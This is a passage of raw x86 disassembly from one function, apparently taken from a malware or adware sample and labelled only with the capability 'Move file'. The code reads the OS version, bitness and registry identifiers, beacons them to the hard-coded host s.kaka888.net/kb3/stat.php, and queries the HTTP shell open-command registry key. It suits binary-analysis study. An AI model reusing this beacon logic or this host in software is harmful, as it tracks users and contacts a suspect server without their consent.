Function at 0x401332
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
push 0xc
call fcn.0040946d
add esp, 4
mov dword [ebp - 0x34], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx], 0x4275e6
push ebx
add ebx, 4
push ebx
push 8
call fcn.0040946d
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
pop ebx
pop ebx
push ebx
mov eax, esp
push eax
call fcn.00408776
pop ebx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
push 0x1c
call fcn.0040946d
add esp, 4
mov dword [ebp - 0x40], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 1
push 6
call fcn.004040f1
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401463
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 4], eax
push str.Microsoft
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401498
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x238
call fcn.00409bd0
add esp, 0x10
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4014be
push ebx
call fcn.00409473
add esp, 4
push str.MSN
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x4014ef
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x238
call fcn.00409bd0
add esp, 0x10
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401515
push ebx
call fcn.00409473
add esp, 4
push 0x427304
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401546
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x238
call fcn.00409bd0
add esp, 0x10
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40156c
push ebx
call fcn.00409473
add esp, 4
push str.Windows_Live
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x40159d
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x238
call fcn.00409bd0
add esp, 0x10
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4015c3
push ebx
call fcn.00409473
add esp, 4
push 0
mov ebx, 0x210
call fcn.00409c20
add esp, 4
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
push 0x80000301
push 0
push 5
push 0x80000003
push 0x40e482a0
push 0
push 0x80000003
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push 3
mov ebx, 0x1e0
call fcn.00409d00
add esp, 0x28
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
fld qword [ebp - 0x6c]
call fcn.0040122d
mov dword [ebp - 8], eax
call fcn.00404532
mov dword [0x429607], eax
push 0x4272f9
push dword [0x4295f3]
call fcn.00401254
add esp, 8
cmp eax, 0
jne 0x4016bb
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.SoftwareORM_src
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.00409fa0
add esp, 0x28
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x4295f3]
test ebx, ebx
je 0x4016b5
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x4295f3], eax
push 0x4272f9
push dword [0x4295f7]
call fcn.00401254
add esp, 8
cmp eax, 0
jne 0x401733
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.SoftwareORM_ver
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.00409fa0
add esp, 0x28
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x4295f7]
test ebx, ebx
je 0x40172d
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x4295f7], eax
push 0x4272f9
push dword [0x4295fb]
call fcn.00401254
add esp, 8
cmp eax, 0
jne 0x4017ab
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.SoftwareORMmark
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.00409fa0
add esp, 0x28
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x4295fb]
test ebx, ebx
je 0x4017a5
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x4295fb], eax
push OleUIBusyA
push 0
push 0x4272f9
push OleUIBusyA
push 0
push 0x427354
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x4017e4
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x42960b]
test ebx, ebx
je 0x401817
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x42960b], eax
push 0x4272f9
push dword [0x42960b]
call fcn.00401254
add esp, 8
cmp eax, 0
jne 0x4018ba
call fcn.004045b1
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x42960b]
test ebx, ebx
je 0x40185e
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x42960b], eax
push OleUIBusyA
push 0
mov eax, dword [0x42960b]
test eax, eax
jne 0x401879
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push 0x427354
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x4018a7
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [0x42960f]
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x58]
mov dword [ebx], 0x94
mov dword [ebp - 0x58], esp
mov eax, dword [0x42960f]
push eax
push 0x214
call fcn.0040946d
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x80
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop ebx
add ebx, 4
call dword [0x429623]
nop
nop
nop
nop
cmp dword [ebp - 0x58], esp
je 0x401962
push 6
call fcn.0040945b
add esp, 4
push eax
mov ebx, dword [ebp - 0x5c]
push ebx
mov edi, dword [ebp - 0x60]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x401ae8
mov ebx, dword [0x42960f]
add ebx, 4
mov dword [ebp - 0x58], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x58]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [0x42960f]
add ebx, 8
mov dword [ebp - 0x60], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x60]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x64], eax
mov ebx, dword [0x42960f]
add ebx, 0xc
mov dword [ebp - 0x68], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x68]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x6c]
push 0x42735f
push dword [ebp - 0x64]
push 0x42735f
push dword [ebp - 0x5c]
mov ecx, 5
call fcn.0040106b
add esp, 0x14
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x401aa2
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x401ab5
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x401ac8
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x70]
push eax
mov ebx, dword [0x429613]
test ebx, ebx
je 0x401ae2
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x429613], eax
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.lock
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x401b21
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401b50
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401b7c
push ebx
call fcn.00409473
add esp, 4
cmp dword [ebp - 0x5c], 0
jne 0x401ede
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 5
jg 0x401edb
push 0x80000301
push 0
push dword [0x429607]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push dword [0x4295fb]
push str.mark
push dword [0x42960b]
push str.mid
push dword [0x4295f7]
push str.ver
push dword [ebp - 0x58]
push str.bit
push dword [0x429613]
push str.osver
push dword [0x4295f3]
push str.first.php_src
push dword [0x4295ef]
mov ecx, 0xd
call fcn.0040106b
add esp, 0x34
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401c29
push ebx
call fcn.00409473
add esp, 4
lea eax, [ebp - 0x5c]
push eax
call fcn.0040494d
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x401c4e
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401c65
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x401c7c
mov eax, 0x427396
push eax
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push OleUIBusyA
push 0
push 0x42739e
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401cc9
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x148
call fcn.0040a620
add esp, 0x34
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401cf5
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jle 0x401d19
cmp dword [ebp - 0x10], 5
jge 0x401d19
mov eax, 1
jmp 0x401d1b
xor eax, eax
test eax, eax
je 0x401eb7
cmp dword [0x4295ff], 0
je 0x401dda
push 0x80000301
push 0
push dword [0x429607]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push str.ver3.3.1.2
push dword [ebp - 0x58]
push str.bit
push dword [0x429613]
push str.osver
push dword [0x4295f3]
push str.src
push dword [0x42960b]
push str.http:__s.kaka888.net_kb3_stat.php_actimid
mov ecx, 9
call fcn.0040106b
add esp, 0x24
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401dac
push ebx
call fcn.00409473
add esp, 4
lea eax, [ebp - 0x5c]
push eax
call fcn.0040494d
mov ebx, eax
test ebx, ebx
je 0x401dc7
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x401dda
push ebx
call fcn.00409473
add esp, 4
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401e12
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.start
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x401e40
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401e66
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
push 0x4273e7
push OleUIBusyA
push 0
push str.lock
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x401e9f
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
jmp 0x401edb
push 0x80000301
push 0
push 0x2710
push 1
mov ebx, 0x67c
call fcn.00409970
add esp, 0x10
pop ecx
jmp 0x401b8b
add esp, 4
mov dword [ebp - 0x58], esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
nop
nop
nop
nop
cmp dword [ebp - 0x58], esp
je 0x401f08
push 6
call fcn.0040945b
add esp, 4
push 0
push 0
push 0
push OleUIBusyA
push 0
push str.update
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x401f3b
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x401f6a
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x401f96
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x14], eax
jge 0x4028b6
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.point
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x401fe4
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x402013
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40203f
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
fadd qword [0x4273f6]
fstp qword [ebp - 0x64]
push 0x80000601
push dword [ebp - 0x60]
push dword [ebp - 0x64]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x68], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x4020a2
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.point
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x4020d0
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4020f6
push ebx
call fcn.00409473
add esp, 4
push 0x80000601
push 0x40140000
push 0
fild dword [ebp - 0x18]
fstp qword [ebp - 0x5c]
push 0x80000601
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push 2
mov ebx, 0x48
call fcn.0040a6f0
add esp, 0x1c
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
fld qword [ebp - 0x6c]
ftst
fnstsw ax
test ah, 1
je 0x40214e
fchs
fcomp qword [0x4273fe]
fnstsw ax
test ah, 0x41
je 0x402170
cmp dword [ebp - 0x18], 3
jle 0x402170
mov eax, 1
jmp 0x402172
xor eax, eax
test eax, eax
je 0x40217f
call fcn.00404bae
push OleUIBusyA
push 0
push 0x4272f9
push OleUIBusyA
push 0
push 0x427406
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.00409fa0
add esp, 0x28
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [0x429617]
test ebx, ebx
je 0x4021d5
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x429617], eax
push 0x80000301
push 0
push 5
push OleUIBusyA
push 0
mov eax, dword [0x429617]
test eax, eax
jne 0x4021fc
mov eax, 0x4272f9
push eax
push 2
mov ebx, 0x138
call fcn.0040a720
add esp, 0x1c
mov dword [ebp - 0x58], eax
mov eax, 0x42743b
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
call fcn.004061d5
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x402245
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
push dword [ebp - 0x58]
call fcn.00401254
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40227e
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x402291
push ebx
call fcn.00409473
add esp, 4
cmp dword [ebp - 0x64], 0
je 0x4022ee
mov eax, 0x427448
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
call fcn.004061d5
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4022ce
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [0x429617]
test ebx, ebx
je 0x4022e8
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x429617], eax
fild dword [ebp - 8]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x64]
fsub qword [ebp - 0x64]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
fsub qword [0x427478]
fcomp qword [0x4273fe]
fnstsw ax
test ah, 0x41
jne 0x4023bb
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x402367
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.start
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x402395
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4023bb
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [0x429617]
test eax, eax
jne 0x4023d0
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x198
call fcn.0040a930
add esp, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
call fcn.00406995
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40240e
push ebx
call fcn.00409473
add esp, 4
push dword [ebp - 0x5c]
push 0x427480
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x40243f
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402456
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push OleUIBusyA
push 0
push 0x4272f9
push OleUIBusyA
push 0
push str.http_shellopencommand_
push 0x80000301
push 0
push 1
push 3
mov ebx, 0x698
call fcn.00409fa0
add esp, 0x28
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4024ad
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x4272f9
push dword [ebp - 0x20]
call fcn.00401254
add esp, 8
cmp eax, 0
je 0x40263d
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push OleUIBusyA
push 0
push str..exe
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4024fb
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x148
call fcn.0040a620
add esp, 0x34
mov dword [ebp - 0x24], eax
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0xa
jg 0x40263a
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push OleUIBusyA
push 0
push 0x4274a7
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40254f
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x14c
call fcn.0040aa10
add esp, 0x34
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
jge 0x402634
fild dword [ebp - 0x28]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
fadd qword [0x4273f6]
fstp qword [ebp - 0x64]
fild dword [ebp - 0x24]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
fild dword [ebp - 0x28]
fstp qword [ebp - 0x74]
fsub qword [ebp - 0x74]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4274a9]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.0040122d
push 0x80000301
push 0
push eax
fld qword [ebp - 0x64]
call fcn.0040122d
push 0x80000301
push 0
push eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4025fb
mov eax, 0x4272f9
push eax
push 3
mov ebx, 0x13c
call fcn.0040aac0
add esp, 0x28
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40262b
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x40263a
pop ecx
jmp 0x402513
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x402650
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x198
call fcn.0040a930
add esp, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
call fcn.00406995
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40268e
push ebx
call fcn.00409473
add esp, 4
push dword [ebp - 0x5c]
push 0x4274b1
push dword [ebp - 0x1c]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x4026c2
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4026d9
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
push str.start
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x402716
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x402745
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402771
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x402825
fild dword [ebp - 8]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x64]
fsub qword [ebp - 0x64]
fstp qword [ebp - 0x6c]
push 0x80000601
push dword [ebp - 0x68]
push dword [ebp - 0x6c]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x70], eax
push dword [ebp - 0x70]
push str.Days
push dword [ebp - 0x1c]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x402805
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40281c
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
jmp 0x4028b1
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x40285d
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.start
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x40288b
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4028b1
push ebx
call fcn.00409473
add esp, 4
jmp 0x402af7
mov eax, str.init1
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4028cc
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push 0x80000601
push 0x40140000
push 0
fild dword [ebp - 0x18]
fstp qword [ebp - 0x5c]
push 0x80000601
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push 2
mov ebx, 0x48
call fcn.0040a6f0
add esp, 0x1c
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
fld qword [ebp - 0x6c]
fsub qword [0x4274c7]
ftst
fnstsw ax
test ah, 1
je 0x40292e
fchs
fcomp qword [0x4273fe]
fnstsw ax
test ah, 0x41
je 0x402950
cmp dword [ebp - 0x18], 3
jle 0x402950
mov eax, 1
jmp 0x402952
xor eax, eax
test eax, eax
je 0x402af7
mov eax, 0x4274cf
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040494d
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40298a
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4029a0
mov eax, 0x427396
push eax
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x4029cc
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [0x429617]
test ebx, ebx
je 0x4029e6
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x429617], eax
mov eax, 0x4274ee
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov eax, 0x4274ee
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
push 0x429617
